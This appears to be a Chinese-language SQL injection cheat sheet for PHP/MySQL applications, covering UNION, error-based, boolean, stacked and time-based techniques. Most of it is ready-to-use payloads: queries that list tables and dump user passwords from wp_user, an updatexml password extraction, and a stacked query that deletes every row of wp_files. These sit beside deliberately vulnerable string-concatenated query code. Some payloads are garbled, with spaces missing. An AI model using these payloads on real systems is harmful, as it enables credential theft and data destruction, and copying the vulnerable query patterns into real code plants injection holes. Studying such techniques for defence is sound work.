#表名查询 test.php?id=-1unionSELECT1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #列查询 test.php?id=-1unionSELECT1,group_concat(column_name) FROM information_schema.columns WHERE table_name='wp_user' #实例 test.php?id=2unionSELECTuser,pwd FROM wp_user #显示控制(页面显示受限时) test.php?id=1unionSELECTuser,pwd FROM wp_user limit 1,1(显示查询效果的第二条) test.php?id=-1unionSELECTuser,pwd FROM wp_user
字符型注入和布尔盲注
类型判断
1 2 3 4 5 6
//源码 ... $res = mysqli_query($conn,"SELECT title,content FROM wp_news WHERE id='".$_GET['id']."'") ... //判断 test.php?id=2a #确定不是数字型后,加字母回显一致表明输入点被‘’包围,强制转换为字符串,确定为字符型
test.php?id=1' or updatexml(1,concat(0x7e,(select pwd from wp_user)),1)%23 //源码 ... $res = mysqli_query($conn, "SELECT title, content FROM wp_news WHERE id='".$_GET['id']."'") OR VAR_DUMP(mysqli_error($conn)); ...
堆叠注入(修改数据库)
1 2 3 4 5 6 7
//多语句执行源码 <?php $db = new PDO("mysql:host=localhost:3306;dbname=test","root",'root'); $sql = "SELECT title, content FROM wp_news WHERE id='".$_GET['id']."'"; ... //删除表wp_files中所有数据 test.php?id=1%27;delete%20%20from%20wp_files;%23
注入优先级
UNION注入>报错注入>布尔盲注>时间盲注
注入点
SELECT注入
注入点在select_expr
1 2 3 4 5
test.php?id=(select pwd from wp_user) as title #AS别名法 //源码 ... $res = mysqli_query($conn, "select ${_GET['id']}, content from wp_news"); ...
注入点在table_reference
1 2 3 4 5
test.php?table=(select pwd as title from wp_user) //源码 ... $res = mysqli_query($conn, "select title from ${_GET['table']}"); ...
注入点在WHERE或HAVING后
1 2 3 4
//源码 ... $res = mysqli_query($conn, "select title from wp_news where id = ${_GET[id]}"); ...
注入点在GROUP by或order by后
1 2 3 4 5 6
//时间注入 test.php?title=id desc,(1,if(sleep(1),1)) //源码 ... $res = mysqli_query($conn, "select title from wp_news group by ${_GET['title']}"); ...